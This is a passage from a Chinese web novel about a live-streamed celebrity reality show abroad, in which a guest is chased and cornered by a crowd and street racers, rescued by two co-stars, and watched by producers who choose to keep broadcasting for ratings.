伸手触碰“天使”拖他下神坛......也不过两美元而已。
这个代价是多么的微不足道。
甚至当宋枝月一旦露出这种受惊后警惕又锋利的神情,就像是在一堆已经堆得高高的干柴中,倏地落下火星,恍若‘轰!’的一声,人群中原本躁动情绪腾的被点燃爆发了。
当第一个人奋不顾身的朝着宋枝月扑过去的时候,神经紧紧绷着的宋枝月汗毛倒竖,理智“啪”的一声断开。
他毫不犹豫的翻身从小圆台跳过后快速奔跑,脑子里只有一个念头:千万不能被抓住!
拥有华丽皮毛和锋利爪牙却在受惊后仓促逃窜的“猎物”,霎时就激起了人心头最恶劣又冲动的“狩猎欲”和“征服欲”。
那道慌不择路间飞快奔跑的身影,像是在人生这个平淡的荒原里突然降临的意外惊喜,让人格外上头,血气喷涌的兴奋劲儿飞速在人群中蔓延开来。
“Oh,MyGod!”
“wow~Toocrazy!”
“Catchhim!”
......
24. 第 24 章
贝里尔街,距离西洛广场步行大约需要十五分钟,这里号称“流浪音乐家”的演奏殿堂。
华灯初上,正是街头“音乐家”们开始表演的时段。
陈易北那会儿给野火说他们会比其他组更快赚到路费,倒也不是一句空话。
毕竟对节目组和嘉宾来说,赚钱压根就不是重点。
重点是怎么给直播间内的观众带来更好的观感体验。
因而哪怕只是一场简单的“街头卖艺”,直播间主镜头里的第三组人员桑醒、戚敖还有于澄鹤却没有半点敷衍的意思。
他们几个人从节目组准备好的道具车内搬下来了小型音响、架子鼓、电吉他、贝斯、话筒等基础简单的乐器,临时组成了一个简易又小型的音乐舞台。
一开始的时候导演组也没说不能搭伙,于是第2组的周晟和林盈盈都凑过来临时加入了这个组合。
桑醒之前没有参加过什么综艺。
粉丝只有在他参演的电影路演或是一些花絮片段里才能听他唱几句主题曲——
宋枝月嫉妒眼红的“老天爷喂饭吃”自然不是一句空话。
有的人,那就真是干啥,啥都行。
对于桑醒这场新颖的“户外音乐会首秀”,粉丝们满屏“嗷嗷嗷”的期待。
而戚敖就更不用说了。
他个人音乐巡演会的音乐票有多难抢,抢到手指抽筋的人都知道。
这不,演唱还没开始,粉丝已经疯狂的开始在弹幕里应援了。
简单一阵鼓声后,就是一道直击人心的高亢转音,起手就是大招的戚敖“先声夺人”。
是的,他总是很享受舞台,也不吝啬在这种需要打开场面的时候进行华丽的炫技。
即便刚开始没有伴奏,只有他自由又张扬热烈的吟哦,整个街道的人群都开始朝着这个“演奏殿堂”涌来。
这处简陋的舞台,霎时也化作了大型追星现场。
林盈盈又蹦又跳的激动‘啊啊啊’尖叫。
准备走“唱跳”路线的于澄鹤也微微张着嘴。
这一刻,他或许和“野火”同频了——
该死的偏心眼贼老天!他们要和这些天赋怪拼了!!!
就像飞快略过故事开头所有的平淡,戚敖的音调一声比一声高,像是带着所有人的心跳一齐律动,跃入故事的高潮。
人类欣赏美丽的感官是共通的。
而有才华的人,身后更是自带闪耀夺目的璀璨星光。
随后吉他、架子鼓、贝斯的加入也让这极致的视听快感越发动人心魄。
一曲结束,现场掌声如雷,围着舞台的观众自发的喊着“安可”。
综艺节目上,即便张扬如戚敖也没有占着舞台只展示自己的意思,他开了场就把舞台交给了于澄鹤。
临时改了主意的于澄鹤没唱歌,而是开始展示起了炫酷的街舞。
跳到一半,弹幕就被“野火”给攻占了。
无数关于宋枝月的消息疯了似的刷屏。
调整话筒时看了一眼弹幕的戚敖,首先察觉到了不对。
他取出自己的手机,直接登录节目,调到了野火的直播间。
“呼哧——呼哧——”
比晃动的镜头最先清晰传来的是一声声扣着人心跳的急促粗喘声。
来回晃动不停后的某一片刻,镜头才清晰的拍到宋枝月的面容。
他原本雾蓝色的头发在不停穿梭略过的灯光下变成了闪着细碎光点的银灰色。
头发被汗水沾湿了在脸上,那片冷白想被玫瑰红一簇簇的染成了一团艳色。
说不上是因为恐惧还是愤怒,同镜头对视的那一瞬间,他的眼睛亮的像是藏着一团明亮滚烫的火。
他的身后还有嘈杂的喊声、笑声和尖锐的口哨声......这些声音像是玩弄,是驱赶,是兴奋。
显然,这场让人血脉喷张的“捕猎”正在进入高潮。
无数下流又不堪的靡丽臆想,顺理成章的像是魔鬼在心头呢喃诱惑着拉开“献给撒旦”的序幕——“神明垂爱的天使坠入地狱。”
视频里无人机腾空拉开视角的一瞬,戚敖倏地回过了神。
他屏息静气,飞快的开始确定起了宋枝月的位置。
刚确定了位置,戚敖抬起头,就听见桑醒叫了他一声:“Eebste!”
戚敖循声看过去,却见什么东西倏地被抛了过来。
下意识接住,朝手上一看,却见是车钥匙。
“圣西都这地方你比我熟悉。”
桑醒说着话已经朝着街道外大步走去。
“咱们开车去找野火。”
天下乌鸦一般黑。
国内的这些节目组,桑醒那可太知道什么德行了......不对,不对,应该说这些人是不得已之间需要顾虑的太多了。
嗯,要先顾全大局。
得了,让他们思考着顾全大局吧,桑醒选择自己动身先去找人。
国外到底不比国内安全,甚至还有些“瘾君子”。
看着这些人这么发疯一般追着宋枝月的架势,保不齐里面就有磕疯了的呢?
万一这些人发疯的时候再给宋枝月染上点什么“脏东西”,那是后悔都来不及。
戚敖也没有异议,握紧车钥匙就跟上了桑醒的脚步一道去上了车。
......
“这是直播事故!”
这场真正剧本
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之外,意料之外的离大谱意外,让节目制作组乱哄哄的吵成了一团。
陈远帆拍着桌子一脸急色:“现在马上中止野火那个无人机的直播信号!”
“不行!”
比王导更快开口的反倒是冯制片。
他紧紧按着耳朵里的耳机,用一种亮到简直要吃人的目光直勾勾的看着陈帆远,声音都有些发颤。
“你知道现在直播间内在线收视率到了多少吗?”
“破2了!!!”
冯顺水的声音也高的快要破音了。
“近五年国内综艺节目收视率最高的节目,峰值才到2.5,咱们的节目才刚开始......你知不知道这意味着什么?”
“我不想知道!”情绪激动到脸色爆红的陈帆远摇着头:“现在破几都不行!”
“老陈!”
“咱们电视台的“家底”这一次可都已经搭上了。”
“咱哥两也是拍着胸膛朝着耿台亲口保证过的!”
冯顺水一张嘴就死死卡住要害。
“这档节目里里外外花了咱们电视台无数人的心血,又签了那么多的合约,那么多的赞助商,光违约金就是一个天文数字,你要让谁赔?”
“你现在开口喊停,好,难不成是你来赔?你拿什么来赔?!”
“你现在喊停才是真正的事故!”
责任两个字比千钧重。
担不起的责任更是赤裸裸的压得陈帆远一时都说不出话来。
他闭了闭眼,抖着手指着分屏里那个还在晃动的无人机镜头,哑着声,“可这么多人都看着,你说不暂停直播,你要怎么办?”
“现在报警?”
“不能报警!”
同样压上自己全部的王导深吸了一口气。
“刚刚直播间内清晰的只有喇叭的吆喝声,观众根本没听清那些外国人说的是什么。”
“这件事,到时候我们可以说是剧本,是特意策划的节目,再不济也可以和国内“奔跑”类型的节目或者电影搞个联合宣传......陈易北已经回来了,只要再找到野火,万事好办。”
“对,对,找野火,赶紧找到人。”
“追踪拍摄的无人机上有定位系统。”
“工作人员已经出发了,现在要紧的是赶紧想法子稳住直播间内的观众。”
这才商量呢,导演组的人就听到了另外一个天塌的坏消息——桑醒和戚敖刚刚说了一声就直接甩开节目组的拍摄人员,自己开着车跑去找野火了。
“这,这,这不是胡闹吗!!!”
“还嫌不够乱的?!”
“快,快把他们都叫回来。”
“......”
25. 第 25 章
现实版跑酷、真实的简直让人憋着心口跟着一起紧张的“真人追击战”让无数目光都牢牢地定在了宋枝月的直播间。
当无人机镜头随着慌不择路的宋枝月跑进临近大桥的登格广场,陡然响起的超跑轰鸣声,将这场让人热血沸腾的“捕猎”赛推入了新的高潮。
因为香蕉台一贯“娱乐至死”的风格和不择手段“疯狂博人眼球”的做派,又有光头王导不择生冷“造爆点”的声名在外。
直播间内安排些人再一引导,弹幕也不再那般火急火燎救命似的嚷嚷了,开玩笑和调侃、啧啧称奇的居多。
【“我的妈呀,这到底是综艺节目,还是在拍电影?!!!”】
【“现在的综艺节目......玩这么大吗?”】
【“迈凯伦540C、兰博基尼、布加迪......这个配置,比国内拍电影都搞得牛逼吧。”】
【“顶级豪车配顶级美人(吹口哨~)光头王导简直太知道怎么博人眼球了。“】
【“这经费要爆炸了吧?”】
【“这是什么游戏?这么刺激?”】
【“啧啧啧......玩还是这些人会玩。”】
“......”
“轰轰轰——”
昏暗的夜色近乎被车灯照亮。
几辆幽蓝、明黄或者火红色的跑车来回围成了一个大圈,车影交错间,露出被围在中间的蓝白印花身影。
跑到想吐的宋枝月正仰着头,大口大口的喘气。
为上这档综艺节目,特意精心打理的发型成了一团糟,领口那个骚包的蓝丝巾也早就不见了踪影,衬衫的衣领处胡乱的敞着,汗水顺着他潮红的肌肤不停的滚落,但在这灯光下,却变成了一片莹亮的高光。
“轰——”
机械增压器如喷气机起降,极致燃烧的内燃机发出一阵阵震颤的轰鸣声,车尾还时不时吐出裹着橙黄或是蓝色的音浪。
一次又一次炫技似的加速、缩圈。
这些车辆正比赛似的试图将落入包围圈的人逼进最中心那个立着一面旗帜两米左右的小圆圈里。
让人肾上腺素急速飙升的刺激感同华丽又冰冷的金属不断刺激着所有人的感观。
每当围在中心的宋枝月试图朝着放空的缺口往外跑时,马上就有跑车轰鸣而至。
音浪连同扬尘紧随其后,将他重新逼回包围圈内。
当宋枝月被吓得后退时,总会响起恶劣的笑声或者喝彩声。
“艾斯。”
驾着车逼回宋枝月的白人青年,哈哈笑着从车窗冲着小雀斑吹了个口哨。
“这次是我的。”
从西洛广场开始追着宋枝月的那些“杂鱼”都被这些开着车寻求刺激的玩主给驱逐了。
月色下,最令人热血喷张的“彩头”却被蛮横的截留了下来。
“轰——”戏谑的嬉笑声伴随着让人腿软的野蛮轰鸣声擦身而过,逃跑失败的宋枝月又一次被逼回了包围圈。
宋枝月停住了“无头苍蝇”般往外闷头冲的举动,站在原地深吸了几口气。
在来这档节目之前,宋枝月早就做好了准备,不意外自己会成为“小丑”。
但按着原计划,他应该是嚣张跋扈,嘴脸刻薄,颐指气使刁难人的丑角。
而不是在这人生地不熟的地方,先被一堆人疯狗撵着似的狼狈逃窜,随后又被这些该死的“钱狗德”猫捉老鼠似的圈在这,嘻嘻哈哈的拿他游戏取乐。
当无人机再次近距离拍摄的时候,宋枝月直接伸手抓住了镜头。
完全不去考虑所谓什么后果的宋枝月,干脆的伸手折断了“飞猫”上的起飞器。
垂下有些发颤的胳膊,宋枝月手里死死的攥着“飞猫”。
这玩意儿的分量,足够他给某一个“幸运”的王八蛋兜头来一个狠的了。
“hei,candyboy!”
扎着一缕小辫的金发碧眼笑嘻嘻的朝着宋枝月喊话。
“Theyareabouttorunoutofpatience.”(他们快要没多少耐性了。)
“Youdon''twantthemtofillyourbellyonebyoneinturn,doyou?”(你也不想被他们一个个轮流灌满肚子吧?)
“Standinthatcircle,now.”(现在站在那个小圈子里。)
“Icantakeyouaway。”(我会带你离开。)
这个时候你也别指望宋枝月能有什么心思听这些垃圾玩意叽里咕噜的说什么了。
他死死的攥着手里的“凶器”,眼神狠厉的盯着这些车辆,目露凶光,蓄势待发随时准备给这些人来一个狠的。
围在中间的宋枝月所有举动,包括他手里握着的东西,在场众人看的分明。
“wow~”
看热闹的口哨中,不闪不避同宋枝月目光相接的小金辫不笑了。
他眼神直勾勾的盯着直直站在那,眼神凶的厉害,格外不驯,热烈带劲到让人心头痒痒的宋枝月,难耐的舔了舔唇,喃喃的道。
“Dear,Ihavetoadmit,You''remakingmeabitimpatient.”(亲爱的,我得承认,你让我有些急不可待了。)
宋枝月没说话,只是深吸了口气,紧紧盯着面前的车。
他按住自己发抖的手,显然随时准备砸碎这些“杂碎”让人恶心的嘴脸。
“轰——”
由远及近,突兀靠近的“轰鸣声”吸引了所有人的注意力——是一辆黑色的阿斯顿马丁超跑。
震颤的轰鸣声飞速奔驰而来却停都没停。
跑车的主人甚至像是已经将油门踩到底,堪称疯狂似的加速撞了过来。
围着宋枝月的其他超跑被这气势汹汹撞过来的跑车给冲散了。
阿斯顿马丁漂亮的极限甩尾,一个飘移就停在了宋枝月三米远的地方。
蓝白相间的印花衬衫被夜风吹得鼓起,车灯下透着点银灰的发凌乱的散着,紧紧攥着“飞猫”,满眼野劲儿冷飕飕直往人心窝里捅的宋枝月猛然同车内的人对上了视线。
不外乎那些“狂徒”发疯似的想试图驯服宋枝月了。
“嘭嘭嘭——”心跳声像是急速攀高的瞬间,戚敖屏住呼吸,捏紧了手里的方向盘。
开口的是桑醒:“上车!”
脑里空白了一瞬的宋枝月松开了手里攥着的“飞猫”,脚步踉跄的上了车。
倒挡、加速,黑色的超跑像阵旋风似的飞驰而去。
“Moonlight”在眼皮子底下被人抢走了,还是用这般近乎赤裸裸直白挑衅的方式,在场的其他人哪里肯依?
一个个自是加速朝着那道“黑色骑士”追了过去。
......
“没镜头了。”
“无人机也丢下了。”
“暂时不知道去哪了。”
“......”
导演组内紧紧绷着神经也缓缓松开了些。
这消息不算好,但也不算坏。
毕竟野火没有直接在镜头里出事就好,其他的,想法子找借口在事后找补也可以。
但导演组的这口气没松多久,又被直播间内另一个叫做“火火懂哥”发送的弹幕给结结实实的噎了回去。
【“我靠!!!!”】
【“家人们,M国的“NYDN”的官网上正在直播高架桥上的“超跑”追击战,是不是刚刚追着野火的那几辆超跑啊?!”】
一波未平一波又起,王导的光头都被“蹭”的越发油亮了,他拧骂了一句脏话。
“NYDN?”陈帆远蹙着眉:“这又是哪冒出来的?”
“是M国的晚间新闻,那些记者都是在直升机上追着新闻跑的。”
听着简直就是加强版本的“流量至上,热度万岁”搞事人。
“翻墙、搭梯子”一阵忙活儿。
看着在直升机俯拍下,穿过凯里大街,在车流里穿梭、加速,蹭挤着相互追逐着的那堆豪华超跑,甚至还有警车的鸣笛声......王导眼前一片发黑,脑瓜子“嗡嗡”的响。
这也就是在国外了。
要是在国内,绝对第一时间封了直播间然后各种追责违规,追加处罚没商量。
“马上联系桑醒他们,提醒他们M国正在进行直播,让他们别露脸,想办法把影响降到最低,赶紧回来。”
王导按着太阳穴。
“现在还能正常直播的还有谁在?”
“第一组的北哥回来了、还有......第二组的周晟、林盈盈,第三组的于澄鹤。”
“让他们别关注弹幕,也别回答弹幕的任何问题。”
王导深吸了一口气。
“不管他们是表演才艺,还是说“真心话爆料”也好,先把节目内容撑一撑,然后开始切进广告。”
......
车窗两侧的景色飞速倒退,一路的灯光在夜幕下拉成了炫目的灯轨。
这世上哪个男人还能不爱车?
要是之前告诉宋枝月这个穷鬼,哪天他能有机会坐豪车。
他一定早早的精心打扮一番,把这车的每个地方都摸到,然后还要拍无数的照片。
但真的坐上了......
拼命急速奔跑后又因着过度紧张导致腹部都有些痉挛,耳边嗡嗡作响的宋枝月,眼神茫然的喃喃道了一声谢谢后就说不出其他的话了,只是全身脱力的仰靠在了后座上。
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从后视镜看着宋枝月这般模样的桑醒没说话,只是点开了车内的空调。
跑了几圈,眼见身后的那群“疯狗”还是穷追不舍,戚敖扭了扭脖子,笑道:“桑哥,回头我赔你一辆新车。”
说罢,他直接踩着油门,猛打方向盘将一旁追的最紧的“小金辫”直接别停在了护栏旁。
桑醒从车窗里睨了一眼还在试图说着什么的小金辫,漫不经心的笑了笑。
“不用。”
话音刚落,手机铃声却响了,桑醒接通了电话。
听着电话里节目工作人员告诉他国外新闻直播的消息,桑醒蹙了蹙眉,挂断了电话,飞快的打开了卫星地图。
“这有个新的赛车道。”桑醒问着戚敖:“在奎因街外,你知道那儿吗?”
“那儿是沃克斯家族的产业。”
戚敖猛地甩了车尾,掉头朝着奎因街去的时候还在问:“咱们去那干嘛?”
“NYDN开直播了,拍摄的画面要是传回国内影响不好。”桑醒冷静的道:“那个地方限飞,能甩开直升机记者拍摄。”
戚敖吐了口气。
“我和西里·沃格斯也算打过交道,但不是很熟,借一借赛车道不是问题,但让他出面拦下后面这些麻烦只怕不太行。”
桑醒点点头,“能借道就行,那个赛车道的地形你了解吗?”
戚敖想了想,说道:“那个赛车道我跑过,还能记起来。“
桑醒:“你来做领航员,到时候我来开。”
戚敖:“好。”
又是一个加速,在即将穿梭过街道高楼处时,这辆阿斯顿马丁车短暂的停了停,驾驶座上的戚敖和桑醒飞快的换了位置。
桑醒开的很快,期间戚敖还打了个电话。
近乎半昏迷的宋枝月就这么似清醒非清醒的睁着眼,光影不断穿梭在他的眼前,留下一块又一块闪烁的光影。
车好像是停了一会儿。
宋枝月微微偏头同车窗外的什么人对上了视线,眼见又是个老外,宋枝月很不礼貌的直接移开了目光,轻轻的闭上了眼。
正同戚敖客套了几句的西里,不经意看向车内时微微怔了怔——不是黑发、黑眸这类最具辨识度的特征。
那头本该张扬无比的蓝发却沾着汗,凌乱的散在脸颊两侧,宋枝月生的冷白,若是染上其他的颜色就特别的醒目。
他仰面靠在车座上,衣领敞着,不仅脸色潮红,轻轻喘着气的唇瓣也红的厉害,就连身上也是红的,像是......一捧被揉烂挤出腥甜汁液的玫瑰花。
桑醒微微侧身,似是不经意的挡住了西里的视线,很快,戚敖也上了车,黑色的跑车再度疾驰而去。
“少爷?”
西里扭过头,却先看见了不远处的那处玫瑰园。
月色下的玫瑰花开的烂漫到近乎热烈。
“就说赛车场暂且要闭场维修。”
原本只应了借跑道的西里,这会儿目光还落在那丛玫瑰上,“后面追来的人都拦下来。”
“是。”
......
已经蹭出各种痕迹的阿斯顿马丁跑车太过显眼了,刚进主城区,几人就下了车。
桑醒打了个电话让人过来拖车,戚敖则是联系了节目组。
接到电话的节目组简直要抱头痛哭,喜极而泣了。
这阵的直播间简直要“炸翻天”。
匆匆忙忙同桑醒他们一行人会和的导演组车都没停稳,扛着相机的摄影工作人员就朝着宋枝月扑了过去。
今晚上刺激太过,还没缓过来的宋枝月实在摆不出营业的笑容。
夜间街道两侧五光十色的光影摇曳中,他神色淡淡的垂着眼,长而翘的睫毛轻轻的颤着,静静的注视镜头。
直至镜头接近时,他才懒洋洋的朝着镜头里挥了挥手。
算是报过平安的节目组急着和嘉宾统一口径,便先以任务完成为由,结束了今晚的直播节目,在明天早上九点不见不散的约定中结束了直播。
......
“轰轰——”
直升机上,看着播放起广告的直播间,意犹未尽的秦正春摘下耳机,笑着‘嘿’了一声。
“这小子是属兔子的吧?”
“这么能跑?”
王砷伸手取下眼镜,揉着眉心笑了笑,正要说话,崔啸却已经哼笑着接过了话茬。
“可不么,那会儿在“月色”里,他就一口气从八楼跑到了底楼,酒吧里那么多人都愣是没抓住他。”
同样看完直播的高曜抱着胸,问了一句,“还有多久?”
“还有二十分钟。”
“直接去水上花园,那个酒店的顶楼就是停机坪。”
“OK。”
......